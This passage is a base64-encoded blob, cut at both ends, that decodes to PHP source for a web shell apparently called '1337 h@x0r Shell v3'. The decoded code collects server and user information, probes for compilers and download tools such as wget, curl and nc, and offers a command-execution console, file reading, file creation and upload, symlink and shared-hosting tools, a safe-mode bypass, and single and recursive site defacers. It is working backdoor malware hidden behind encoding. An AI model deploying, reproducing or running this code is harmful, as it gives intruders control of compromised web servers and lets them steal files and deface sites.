G9vbHN7Cm1hcmdpbi10b3A6NTBweDsKd2lkdGg6NTAwcHg7CmJvcmRlcjoxcHggc29saWQ7CmJvcmRlci1yYWRpdXM6MTBweDsKfQouMTMzN2xvZ28gdGR7CmZvbnQtc2l6ZToxMnB4Owpmb250LXdlaWdodDpib2xkOwp9Ci4xMzM3bG9nb3sKbWFyZ2luLWxlZnQ6NXB4OwpiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwpiYWNrZ3JvdW5kLXBvc2l0aW9uOiBDRU5URVI7IApiYWNrZ3JvdW5kLWNvbG9yOiMwRjEwMTA7
CmJhY2tncm91bmQtc2l6ZTogNDAwcHggMTIwcHg7Cn0KPC9zdHlsZT4KPC9odG1sPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjpub25lO2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA1NC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPjxhIGhyZWY9Imh0dHA6Ly93d3cuY3Vyc29ycy00dS5jb20
vY3Vyc29yLzIwMTIvMDIvMTEvY2hyb21lLXBvaW50ZXIuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJDaHJvbWUgUG9pbnRlciI+PGltZyBzcmM9Imh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29yLnBuZyIgYm9yZGVyPSIwIiBhbHQ9IkNocm9tZSBQb2ludGVyIiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IHRvcDogMHB4OyByaWdodDogMHB4OyIgLz48L2E+CjxzY3JpcHQ+CmZ1bmN0aW9uIHNldChhLG
MscDEscDIscDMsY2hhcnNldCkgewppZihhICE9IG51bGwpZG9jdW1lbnQubWYuYS52YWx1ZT1hOwppZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOwppZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOwppZihwMiAhPSBudWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyOwppZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOwppZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQub
WYuY2hhcnNldC52YWx1ZT1jaGFyc2V0Owp9CmZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKZG9jdW1lbnQubWYuc3VibWl0KCk7Cn0KZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewpzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwp2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CmZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7
aSsrKQpwYXJhbXMgKz0gIiYiK2RvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CnNyKCInLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiciLCBwYXJhbXMpOwp9CmZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CmlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CnJlcS5vbnJ
lYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwpyZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwpyZXEuc2VuZChwYXJhbXMpOwp9IAplbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewpyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKT
sKaWYgKHJlcSkgewpyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwpyZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKcmVxLnNlbmQocGFyYW1zKTsKfQp9Cn0KZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0K
SApCmlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7Ci8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CnZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7CnZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CmV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKfSAKZWxzZSBhbGVydCgiUmVxdWVzdCBlcnJvciEiKTsKfQo8L3NjcmlwdD4KPGhlYWQ+PGxpbmsgaHJlZj0iaHR0cHM6
Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUF1ZGlvd2lkZSIgPjwvaGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4OyI+Cjxmb3J
tIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE
9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnKS4nI
j4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KPC9mb3JtPic7CiRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwokdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6
MTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwoka2VybmVsID0gQHBocF91bmFtZSgncycpOwppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwokdWlkID0gQGdldG15dWlkKCk7CiRnaWQgPSBAZ2V0bXlnaWQoKTsKJGdyb3VwID0gIj8iOwp9IGVsc2U
gewokdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwokZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwokdXNlciA9ICR1aWRbJ25hbWUnXTsKJHVpZCA9ICR1aWRbJ3VpZCddOwokZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiRnaWQgPSAkZ2lkWydnaWQnXTsKfQokY3dkX2xpbmtzID0gJyc7CiRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiRuPWNvdW50KC
RwYXRoKTsKZm9yKCRpPTA7JGk8JG4tMTskaSsrKSB7CiRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKZm9yKCRqPTA7JGo8PSRpOyRqKyspCiRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwp9CiRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPS
TgtVScsICdjcDg2NicpOwokb3B0X2NoYXJzZXRzID0gJyc7CmZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQokb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7CiRtID0gYXJyYXkoJ0ltcG9ydCBTY3JpcHRzJz0+J0ltcG9ydFNjcmlwdHMnLCdKdW1waW5nJz0+J0p1bXBpbmcn
LCdTeW1saW5rJz0+J1N5bWxpbmsnLCdEb21haW5zJyA9PiAnRG9tYWluJywnU2hhcmVkIEhvc3RpbmdzJz0+J1NoYXJlZCcsJ1N5bSBTaXRlcyc9PidTeW0nLCdTdWJkb21haW4nPT4nU3ViZG9tYWluJywnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdEZWZhY2V
yJyA9PiAnRGVmYWNlJywnUmVjdXJzaXZlIERlZmFjZXInPT4nRGVmYWNlcicpOwppZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkKJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiRtZW51ID0gJyc7CmZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCiRtZW51IC49ICc8dGg+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+PC90aD4nOwokZHJpdmVzID
0gIiI7CmlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewpmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKXsKaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cn0KJGRyaXZlcyAuPSAnPGJyIC8+OiAnOwp9CmlmKCRHTE9CQUxTWydvcyddID09ICdua
XgnKSB7CiRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZG9taW5pb3MpIHsKJERvbWFpblMgPSAiL3Zhci9uYW1lZCI7CiREb21haW5vbnNlcnZlciA9IHNjYW5kaXIoJERvbWFpblMpOwokZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTsKfSBlbHNlIHsKQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsKJG91dCA9
IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOwokZDBjID0gJG91dC4iRG9tYWlucyI7Cn0KfSBlbHNlIHsKJGQwYyA9ICJOb3RoaW5nIGhlcmUgYnJvOigiOwp9CmlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKewokdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKSB7CiR0ZW1wID0gYXJyYXkoKTsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCc
sJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdGVtcFtdPSAkaXRlbTsgfQokdXNlZmwgPSBpbXBsb2RlKCcsICcsJHRlbXApOwokdGVtcCA9IGFycmF5KCk7CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLC
dseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJHRlbXBbXT0gJGl0ZW0yOyB9CiRkd25sZHIgPSBpbXBsb2RlKCcsICcsJHRlbXApOwp9IGVsc2UgewokdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwp9Cn0gZWxzZSB7IAokdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkc
iA9ICcgLS0tLS0tLSAnOwp9IAplY2hvICc8ZGl2IGNsYXNzPSIxMzM3bG9nbyI+PHRhYmxlIGNsYXNzPSJpbmZvIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj48dHI+Cjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiBjbGFzcz0ibnBvYWQiPjx0cj48dGQgd2lkdGg9IjgwcHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3Ry
KEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4KPHRyPjx0ZD48c3Bhbj5Vc2VyPC9zcGFuPjwvdGQ+PHRkPjogJy4kdWlkLicgKCAnLiR1c2VyLicgKSA8c3Bhbj5Hcm91cDogPC9zcGFuPiAnLiRnaWQuJyAoICcuJGdyb3VwLicgKTwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPlNlcnZlcjwvc3Bhbj48L3RkPjx0ZD46ICcuQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykuJzwvdGQ+PC90cj48dHI+PHR
kPjxzcGFuPlVzZWZ1bDwvc3Bhbj48L3RkPjx0ZD46ICcuJHVzZWZsLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Eb3dubG9hZGVyczwvc3Bhbj48L3RkPjx0ZD46ICcuJGR3bmxkci4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RC9mdW5jdGlvbnM8L3NwYW4+PC90ZD48dGQ+OiAnLigkZGlzYWJsZV9mdW5jdGlvbnM/JGRpc2FibGVfZnVuY3Rpb25zOidBbGwgRnVuY3Rpb24gRW5hYmxlJykuJzwvdGQ+PC90cj48dHI+PH
RkPjxzcGFuPicuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPydEcml2ZXM8YnIgLz5Dd2QnOidDd2QnKS4nPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHJpdmVzLicnLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjwvdGQ+P
C90cj48L3RhYmxlPjwvdGQ+Jy4KICc8dGQgd2lkdGg9ND48bm9icj48c3Bhbj5TdiBJUDwvc3Bhbj48YnI+PHNwYW4+WW91ciBJUDwvc3Bhbj48YnIgLz48c3Bhbj5IREQ8L3NwYW4+PGJyIC8+PHNwYW4+RnJlZTwvc3Bhbj48YnIgLz48c3Bhbj5QSFA8L3NwYW4+PGJyIC8+PHNwYW4+U2FmZSBNb2RlPC9zcGFuPjxiciAvPjxzcGFuPkRvbWFpbnM8L3NwYW4+PC9ub2JyPjwvdGQ+Jy4KICc8dGQ+PG5vYnI+OiAnLmdldGhv
c3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5
mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4nLgogJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYX
NzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgNDMwMzAzO3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6YmxhY2s7Ij4nOwp9CmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewokaXNfd
3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm9udCBjb2xvcj1ncmVlbj5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7CmVjaG8gJzwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRl
ci1yYWRpdXM6NXB4OyI+Cjx0YWJsZSBjbGFzcz0iaW5mbyIgaWQ9InRvb2xzVGJsIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4KPHRyPgo8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSInLmh0bWx
zcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT
0iPj4iPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ21rZGlyXCcsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgo8dGQ+P
GZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUsXCdta2ZpbGVcJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwn
Q29uc29sZVwnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1
lPWEgdmFsdWU9IkZpbGVzTUFuIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSJ1cGxvYWRGaWxlIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KPHNwYW
4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KPC90cj4KPC90YWJsZT48L2Rpdj48L2Rpdj4KPGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlcjoycHggc29saWQgJ
y4kVGhlbWUuJzt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyBib3JkZXItcmFkaXVzOjEwcHg7bWFyZ2luOmF1dG87IHdpZHRoOjUwMDsiPjEzMzcgaEB4MHIgU2hlbGwgdjMgY29kZWQgYnkgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0V2aWxHZW5pdXM3ODYiPiBNdWhhbW1hZCBIYXNzYW48L2E+PC9kaXY+PC9kaXY+CjwvZGl2Pgo8L2JvZHk+PC9odG1sPic7Cn0KaWYgKCAhZnVuY3Rp
b25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkgeyByZXR1cm4gZmFsc2U7IH0gfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2d
ldGdyZ2lkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7CmlmKCRzID49IDEwNzM3NDE4MjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKZWxzZWlmKCRzID49IDEwNDg1NzYpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CmVsc2
VpZigkcyA+PSAxMDI0KQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwplbHNlCnJldHVybiAkcyAuICcgQic7Cn0KZnVuY3Rpb24gcGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwplbHNlaWYgKCgkc
CAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwplbHNlICRpID0gJ3UnOwokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0n
KTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk
7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCmlmICghQGlzX3JlYWRhYmxlKCRmKSkKcmV0dXJuICc8Zm9udCBjb2
xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCnJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKZWxzZQpyZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQppZighZnVuY3Rpb25fZ
